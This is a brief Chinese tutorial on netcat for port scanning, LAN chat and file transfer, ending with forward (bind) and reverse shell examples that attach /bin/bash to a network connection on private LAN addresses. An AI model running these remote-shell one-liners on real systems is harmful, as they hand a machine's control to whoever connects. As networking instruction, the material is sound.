探测单个端口是否开放可以用telnet,专业探测端口可以用Nmap,而对于非渗透用途的Linux可以直接用netcat。
1.使用netcat探测端口是否开放
nc -z -v 192.168.220.128 80-9999 #z代表不交互要不然遇到交互的端口nc会阻塞,v代表打印端口情况不然扫了也没办理出,下来是IP和要扫描的端口
2.使用netcat实现局域网聊天
一端先启好监听:
nc -l 9999
另一端端进行连接:
nc 192.168.220.128 9999
连接之后的任一边的输入在另一边都可看到
3.使用netcat实现文件传输
和局域网聊天是原理一样的,不过把输入输出重定向到文件
接收入端先启好监听:
nc -l 9999 > recv.txt
发送端进行发送:
nc 192.168.220.128 9999 < send.txt
不过传输完之后不会自动断开连接得手动ctrl+c断开,而且转输完成并没有什么标志不知是否已传完。
4.正向连接
控制机器主动连接受控端称为正向连接(2和3其实就和正向连接一样的,只是没执行shell而已)
受控端先启好监听:
nc -l -p 9999 -e /bin/bash
控制端主动连接:
nc 192.168.220.129 9999
5.反向连接
反之控制端启好监听等受控端连接称为反向连接
控制端启好监听:
nc -lv 9999
受控端主动连接:
nc 192.168.220.128 9999 -e /bin/bash
说明:
centos版本的nc没有-e选项,启监听时也不(能)用-p;而kali版本有-e选项且启监听必须用-p指定端口(不用-p会用随机端口)
参考:
http://www.cnblogs.com/hyq20135317/p/5491298.html
http://www.2cto.com/article/201311/258748.html
http://blog.sina.com.cn/s/blog_71ce334a01015b1o.html
http://blog.csdn.net/yabingshi_tech/article/details/51821265